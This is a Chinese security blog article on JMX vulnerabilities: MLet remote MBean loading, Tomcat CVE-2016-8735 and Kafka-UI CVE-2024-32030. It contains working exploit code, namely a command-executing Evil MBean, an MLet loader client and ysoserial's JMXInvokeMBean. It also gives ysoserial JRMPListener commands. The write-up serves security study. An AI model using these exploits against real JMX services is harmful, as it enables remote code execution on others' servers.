前言
前段时间看到普元 EOS Platform 爆了这个洞,Apache James,Kafka-UI 都爆了这几个洞,所以决定系统来学习一下这个漏洞点。
JMX 基础
JMX 前置知识
JMX(Java Management Extensions,即 Java 管理扩展)是一个为应用程序、设备、系统等植入管理功能的框架。JMX 可以跨越一系列异构操作系统平台、系统体系结构和网络传输协议,灵活的开发无缝集成的系统、网络和服务管理应用。
可以简单理解 JMX 是 java 的一套管理框架,coders 都遵循这个框架,实现对代码应用的监控与管理。
JMX 的结构一共分为三层:
1、基础层:主要是 MBean,被管理的资源。分为四种,常用需要关注的是两种。
-
standard MBean 这种类型的 MBean 最简单,它能管理的资源(包括属性、方法、时间)必须定义在接口中,然后 MBean 必须实现这个接口。它的命令也必须遵循一定的规范,例如我们的 MBean 为 Hello,则接口必须为 HelloMBean。
-
dynamic MBean 必须实现 javax.management.DynamicMBean 接口,所有的属性,方法都在运行时定义。2、适配层:MBeanServer,主要是提供对资源的注册和管理。3、接入层:Connector,提供远程访问的入口。
JMX 基础代码实践
以下代码实现简单的 JMX demo,文件结构
├──
HelloWorld
.
java
├──
HelloWorldMBean
.
java
└──
jmxDemo
.
java
HelloWorldMBean.java
package
org
.
example
;
public
interface
HelloWorldMBean
{
public
void
sayhello
();
public
int
add
(
int
x
,
int
y
);
public
String
getName
();
}
HelloWorld.java
package
org
.
example
;
public
class
HelloWorld
implements
HelloWorldMBean
{
private
String
name
=
"Drunkbaby"
;
@Override
public
void
sayhello
() {
System
.
out
.
println
(
"hello world"
+
this
.
name
);
}
@Override
public
int
add
(
int
x
,
int
y
) {
return
x
+
y
;
}
@Override
public
String
getName
() {
return
this
.
name
;
}
}
jmxDemo.java
package
org
.
example
;
import
javax
.
management
.
MBeanServer
;
import
javax
.
management
.
ObjectName
;
import
javax
.
management
.
remote
.
JMXConnectorServer
;
import
javax
.
management
.
remote
.
JMXConnectorServerFactory
;
import
javax
.
management
.
remote
.
JMXServiceURL
;
import
java
.
lang
.
management
.
ManagementFactory
;
import
java
.
rmi
.
registry
.
LocateRegistry
;
import
java
.
rmi
.
registry
.
Registry
;
public
class
jmxDemo
{
public
static
void
main
(
String
[]
args
)
throws
Exception
{
MBeanServer
mBeanServer
=
ManagementFactory
.
getPlatformMBeanServer
();
ObjectName
mbsName
=
new
ObjectName
(
"test:type=HelloWorld"
);
HelloWorld
mbean
=
new
HelloWorld
();
mBeanServer
.
registerMBean
(
mbean
,
mbsName
);
// 创建一个 RMI Registry
Registry
registry
=
LocateRegistry
.
createRegistry
(
1099
);
// 构造 JMXServiceURL,绑定创建的 RMI
JMXServiceURL
jmxServiceURL
=
new
JMXServiceURL
(
"service:jmx:rmi:///jndi/rmi://localhost:1099/jmxrmi"
);
// 构造JMXConnectorServer,关联 mbserver
JMXConnectorServer
jmxConnectorServer
=
JMXConnectorServerFactory
.
newJMXConnectorServer
(
jmxServiceURL
,
null
,
mBeanServer
);
jmxConnectorServer
.
start
();
System
.
out
.
println
(
"JMXConnectorServer is ready"
);
System
.
out
.
println
(
"press any key to exit."
);
System
.
in
.
read
();
}
}
其中
-
Probe Level:创建了 HelloWorldMBean 实例 mbean
-
Agent Level:创建了 MBeanServer 实例 mbs
-
Remote Management Level: 创建了JMXServiceURL,绑定到本地 1099 rmi,关联到MBeanServer mbs
JMX 安全问题
JMX 的安全问题主要发生在以下三处
1、jmx2、mbean3、rmi
其中通过利用 MLet 是最常用的攻击手法,算是 jmx 特性 + mbean 利用,接下来我们详细来看看 Mlet 的漏洞利用及原理。
Mlet
Mlet 指的是
javax.management.loading.MLet
,该 mbean 有个 getMBeansFromURL 的方法,可以从远程 mlet server 加载 mbean。
攻击过程:
-
启动托管 MLet 和含有恶意 MBean 的 JAR 文件的 Web 服务器
-
使用JMX在目标服务器上创建
MBeanjavax.management.loading.MLet
的实例 -
调用 MBean 实例的 getMBeansFromURL 方法,将 Web 服务器 URL 作为参数进行传递。JMX 服务将连接到http服务器并解析MLet文件
-
JMX 服务下载并归档 MLet 文件中引用的 JAR 文件,使恶意 MBean 可通过 JMX 获取
-
攻击者最终调用来自恶意 MBean 的方法
- 下面我们来编写一个漏洞实例。
Evil MBean
文件结构
├──
Evil
.
java
└──
EvilMBean
.
java
EvilMBean.java
package
com
.
drunkbaby
.
mlet
;
public
interface
EvilMBean
{
public
String
runCommand
(
String
cmd
);
}
Evil.java
package
com
.
drunkbaby
.
mlet
;
import
java
.
io
.
BufferedReader
;
import
java
.
io
.
InputStreamReader
;
public
class
Evil
implements
EvilMBean
{
public
String
runCommand
(
String
cmd
)
{
try
{
Runtime
rt
=
Runtime
.
getRuntime
();
Process
proc
=
rt
.
exec
(
cmd
);
BufferedReader
stdInput
=
new
BufferedReader
(
new
InputStreamReader
(
proc
.
getInputStream
()));
BufferedReader
stdError
=
new
BufferedReader
(
new
InputStreamReader
(
proc
.
getErrorStream
()));
String
stdout_err_data
=
""
;
String
s
;
while
((
s
=
stdInput
.
readLine
())
!=
null
)
{
stdout_err_data
+=
s
+
"\n"
;
}
while
((
s
=
stdError
.
readLine
())
!=
null
)
{
stdout_err_data
+=
s
+
"\n"
;
}
proc
.
waitFor
();
return
stdout_err_data
;
}
catch
(
Exception
e
)
{
return
e
.
toString
();
}
}
}
Mlet Server
将原本的文件打包为 jar 包。步骤省略了,就是 build Artifacts。随后编写 evil.html
<html><mlet code="com.drunkbaby.mlet.Evil" archive="JMX.jar" name="MLetCompromise:name=evil,id=1" codebase="http://127.0.0.1:4141"></mlet></html>
整体结构如图
Attack Code
ExploitJMXByRemoteMBean.java
package
com
.
drunkbaby
.
mlet
;
import
javax
.
management
.
MBeanServerConnection
;
import
javax
.
management
.
ObjectInstance
;
import
javax
.
management
.
ObjectName
;
import
javax
.
management
.
remote
.
JMXConnector
;
import
javax
.
management
.
remote
.
JMXConnectorFactory
;
import
javax
.
management
.
remote
.
JMXServiceURL
;
import
java
.
net
.
MalformedURLException
;
import
java
.
util
.
HashSet
;
import
java
.
util
.
Iterator
;
public
class
ExploitJMXByRemoteMBean
{
public
static
void
main
(
String
[]
args
) {
try
{
// connectAndOwn(args[0], args[1], args[2]);
connectAndOwn
(
"localhost"
,
"1099"
,
"open -a Calculator"
);
}
catch
(
Exception
e
) {
e
.
printStackTrace
();
}
}
static
void
connectAndOwn
(
String
serverName
,
String
port
,
String
command
)
throws
MalformedURLException
{
try
{
// step1. 通过rmi创建 jmx连接
JMXServiceURL
u
=
new
JMXServiceURL
(
"service:jmx:rmi:///jndi/rmi://"
+
serverName
+
":"
+
port
+
"/jmxrmi"
);
System
.
out
.
println
(
"URL: "
+
u
+
", connecting"
);
JMXConnector
c
=
JMXConnectorFactory
.
connect
(
u
);
System
.
out
.
println
(
"Connected: "
+
c
.
getConnectionId
());
MBeanServerConnection
m
=
c
.
getMBeanServerConnection
();
// step2. 加载特殊MBean:javax.management.loading.MLet
ObjectInstance
evil_bean
=
null
;
ObjectInstance
evil
=
null
;
try
{
evil
=
m
.
createMBean
(
"javax.management.loading.MLet"
,
null
);
}
catch
(
javax
.
management
.
InstanceAlreadyExistsException
e
) {
evil
=
m
.
getObjectInstance
(
new
ObjectName
(
"DefaultDomain:type=MLet"
));
}
// step3:通过MLet加载远程恶意MBean
System
.
out
.
println
(
"Loaded "
+
evil
.
getClassName
());
Object
res
=
m
.
invoke
(
evil
.
getObjectName
(),
"getMBeansFromURL"
,
new
Object
[]
{
"http://localhost:4141/evil.html"
},
new
String
[] {
String
.
class
.
getName
() } );
HashSet
res_set
=
((
HashSet
)
res
);
Iterator
itr
=
res_set
.
iterator
();
Object
nextObject
=
itr
.
next
();
if
(
nextObject
instanceof
Exception
)
{
throw
((
Exception
)
nextObject
);
}
evil_bean
=
((
ObjectInstance
)
nextObject
);
// step4: 执行恶意MBean
System
.
out
.
println
(
"Loaded class: "
+
evil_bean
.
getClassName
()
+
" object "
+
evil_bean
.
getObjectName
());
System
.
out
.
println
(
"Calling runCommand with: "
+
command
);
Object
result
=
m
.
invoke
(
evil_bean
.
getObjectName
(),
"runCommand"
,
new
Object
[]{
command
},
new
String
[]{
String
.
class
.
getName
() });
System
.
out
.
println
(
"Result: "
+
result
);
}
catch
(
Exception
e
)
{
e
.
printStackTrace
();
}
}
}
很明显这里是和远程的 jar 包进行了连接,而远程的 jar 包上面放置了恶意的 MBean,关于 Mlet 的攻击流程和漏洞分析会在文章后半部分展开来讲。
JMX 反序列化漏洞
在实际场景中 JMX 一般出现的漏洞点都是在某某反序列化当中。下面内容总结一下可能存在的三个问题
JMX 自身反序列化漏洞 ------ CVE-2016-3427/CVE-2016-8735
漏洞描述
这其实是 JDK 的洞 ------ JMX 导致的,但是由于 Tomcat 没有及时打补丁,所以这个漏洞被披露在 Tomcat 中。该漏洞的底层原因是由于 Tomcat 在配置 JMX 做监控时使用了 JmxRemoteLifecycleListener()
方法。
- 漏洞利用前置条件为 JmxRemoteLifecycleListener 监听的 10001 和 10002 端口被开放。
影响版本
Apache Tomcat 9.0.0.M1 - 9.0.0.M11 Apache Tomcat 8.5.0 - 8.5.6 Apache Tomcat 8.0.0.RC1 - 8.0.38 Apache Tomcat 7.0.0 - 7.0.72 Apache Tomcat 6.0.0 - 6.0.47
环境搭建
https://github.com/Drun1baby/CVE-Reproduction-And-Analysis/tree/main/Apache/Tomcat/CVE-2016-8735
需要添加一个 listener 和 catalina.sh
,网上教程都有,包括两个 jar 包,我这里不再赘述了。
漏洞复现
- 漏洞复现的 EXP 已经有了
java -cp ysoserial-all.jar ysoserial.exploit.RMIRegistryExploit localhost 10001 Groovy1 "touch /tmp/success"
漏洞触发点 org.apache.catalina.mbeans.JmxRemoteLifecycleListener#createServer
try
{
RMIJRMPServerImpl
server
=
new
RMIJRMPServerImpl
(
this
.
rmiServerPortPlatform
,
serverCsf
,
serverSsf
,
theEnv
);
cs
=
new
RMIConnectorServer
(
serviceUrl
,
theEnv
,
server
,
ManagementFactory
.
getPlatformMBeanServer
());
cs
.
start
();
registry
.
bind
(
"jmxrmi"
,
server
);
log
.
info
(
sm
.
getString
(
"jmxRemoteLifecycleListener.start"
,
new
Object
[]{
Integer
.
toString
(
theRmiRegistryPort
),
Integer
.
toString
(
theRmiServerPort
),
serverName
}));
}
catch
(
AlreadyBoundException
|
IOException
var15
) {
log
.
error
(
sm
.
getString
(
"jmxRemoteLifecycleListener.createServerFailed"
,
new
Object
[]{
serverName
}),
var15
);
}
很经典的手法, registry.bind()
调用反序列化,接着通过 Grovvy1 链触发
同样这里其实也是用 RMI 协议来打的。
利用 Mlet 的方式动态加载 MBean
这个有点意思,上面在讲 Mlet 攻击的时候其实我们有提到,Mlet 是通过加载远程的 jar 包,调用里面的 codebase 来 rce 的。
而 JMX 调用远程 MBean 方法有以下流程:
1、MBean name、MBean Function Name、params,发送给远程的 rmi server,其中 params 需要先统一转换为 MarshalledObject,通过 readObject 转换为字符串。2、RMI Server监听到网络请求,包含MBean name、MBean Function Name、 params,其中params经过MarshalledObject.readObject() 反序列化,再通过invoke调用原函数。
所以这里只需要我们恶意构造 String 进行反序列化,就可以进行攻击。在 ysoserial 当中,这一个类为 JMXInvokeMBean
package
ysoserial
.
exploit
;
import
javax
.
management
.
MBeanServerConnection
;
import
javax
.
management
.
ObjectName
;
import
javax
.
management
.
remote
.
JMXConnector
;
import
javax
.
management
.
remote
.
JMXConnectorFactory
;
import
javax
.
management
.
remote
.
JMXServiceURL
;
import
ysoserial
.
payloads
.
ObjectPayload
.
Utils
;
/*
* Utility program for exploiting RMI based JMX services running with required gadgets available in their ClassLoader.
* Attempts to exploit the service by invoking a method on a exposed MBean, passing the payload as argument.
*
*/
public
class
JMXInvokeMBean
{
public
static
void
main
(
String
[]
args
)
throws
Exception
{
if
(
args
.
length
<
4
) {
System
.
err
.
println
(
JMXInvokeMBean
.
class
.
getName
()
+
" <host> <port> <payload_type> <payload_arg>"
);
System
.
exit
(
-
1
);
}
JMXServiceURL
url
=
new
JMXServiceURL
(
"service:jmx:rmi:///jndi/rmi://"
+
args
[
0
]
+
":"
+
args
[
1
]
+
"/jmxrmi"
);
JMXConnector
jmxConnector
=
JMXConnectorFactory
.
connect
(
url
);
MBeanServerConnection
mbeanServerConnection
=
jmxConnector
.
getMBeanServerConnection
();
// create the payload
Object
payloadObject
=
Utils
.
makePayloadObject
(
args
[
2
],
args
[
3
]);
ObjectName
mbeanName
=
new
ObjectName
(
"java.util.logging:type=Logging"
);
mbeanServerConnection
.
invoke
(
mbeanName
,
"getLoggerLevel"
,
new
Object
[]{
payloadObject
},
new
String
[]{
String
.
class
.
getCanonicalName
()});
//close the connection
jmxConnector
.
close
();
}
}
我看下来两种漏洞利用的最终思路是很类似的,都是 RMi 去打反序列化,不一样的点在于一个是利用 RMIxxx.bind()
另外一种是在用 jmx:rmi//
协议去打。
当漏洞照进现实 ------ CVE-2024-32030 Kafka-UI 反序列化漏洞
https://securitylab.github.com/advisories/GHSL-2023-229_GHSL-2023-230_kafka-ui/#/
漏洞描述
Kafka UI 是 Apache Kafka 管理的开源 Web UI。Kafka UI API 允许用户通过指定网络地址和端口连接到不同的 Kafka brokers。作为一个独立的功能,它还提供了通过连接到其 JMX 端口监视 Kafka brokers 性能的能力。CVE-2024-32030 中,由于默认情况下 Kafka UI 未开启认证授权,攻击者可构造恶意请求利用后台功能执行任意代码,控制服务器。官方已发布安全更新,修复该漏洞。
影响版本
Kafka-UI <= 0.7.1
环境搭建
Kafka-UI 的 docker
version
:
'3.8'
services
:
kafka-ui
:
image
:
provectuslabs/kafka-ui
:
v0.7.1
container_name
:
kafka-ui
environment
:
-
DYNAMIC_CONFIG_ENABLED=true
-
JAVA_OPTS=-agentlib:jdwp=transport=dt_socket,server=y,suspend=n,address=*:5005
ports
:
-
"8080:8080"
-
"5005:5005"
Kafka 的 UI,之前分析 Kafka 漏洞的时候就写过了
version
:
'2'
services
:
zookeeper
:
image
:
zookeeper
restart
:
always
ports
:
-
"2181:2181"
container_name
:
zookeeper
kafka
:
image
:
wurstmeister/kafka
restart
:
always
ports
:
-
"9092:9092"
-
"9094:9094"
depends_on
:
-
zookeeper
environment
:
KAFKA_ADVERTISED_HOST_NAME
:
127.0.0.1
KAFKA_ZOOKEEPER_CONNECT
:
zookeeper
:
2181
KAFKA_LISTENERS
:
PLAINTEXT
:
//0.0.0.0
:
9092,SSL
:
//0.0.0.0
:
9094
KAFKA_ADVERTISED_LISTENERS
:
PLAINTEXT
:
//127.0.0.1
:
9092,SSL
:
//127.0.0.1
:
9094
KAFKA_LISTENER_SECURITY_PROTOCOL_MAP
:
PLAINTEXT
:
PLAINTEXT,SSL
:
SSL
KAFKA_INTER_BROKER_LISTENER_NAME
:
PLAINTEXT
container_name
:
kafka
漏洞复现
使用 ysoserial 直接打,起一个恶意的 JMX 服务。
git
clone https://github.com/artsploit/ysoserial/
cd
ysoserial &&
git
checkout scala1
mvn package
-D
skipTests
=
true
#make sure you use Java 8 for compilation, it might not compile with recent versions
java
-cp
target/ysoserial-0.0.6-SNAPSHOT-all.jar ysoserial.exploit.JRMPListener
1718
Scala1
"org.apache.commons.collections.enableUnsafeSerialization:true"
开启了之后,使用 Kafka-UI 去连接该 JMX
第一步先开启 org.apache.commons.collections.enableUnsafeSerialization:true
,再进行 CC 的反序列化。
服务器接收到恶意的请求
随后第二步直接使用 CC 链打。
java -cp target/ysoserial-0.0.6-SNAPSHOT-all.jar ysoserial.exploit.JRMPListener 1718 CommonsCollections7 "touch /tmp/pwnd2.txt"
攻击成功
漏洞分析
通过简单的搜索就可以确定漏洞入口在 com.provectus.kafka.ui.controller.ClustersController#updateClusterInfo
最终的触发点是在 com.provectus.kafka.ui.service.metrics.JmxMetricsRetriever#retrieveSync
方法
后面其实就是 RMI 的部分了,当然这里还涉及到了 Scala1 链暂时不展开。
这一个漏洞其实也是 jmx://rmi// 可控造成的一个问题。但是这里的修复只是更新了一部分依赖,把 CC3 更新成了 C**。所以其实还是存在一定的绕过的。
本文作者: dingjiacan@antvsion.com
本文为安全脉搏专栏作者发布,转载请注明: https://www.secpulse.com/archives/205242.html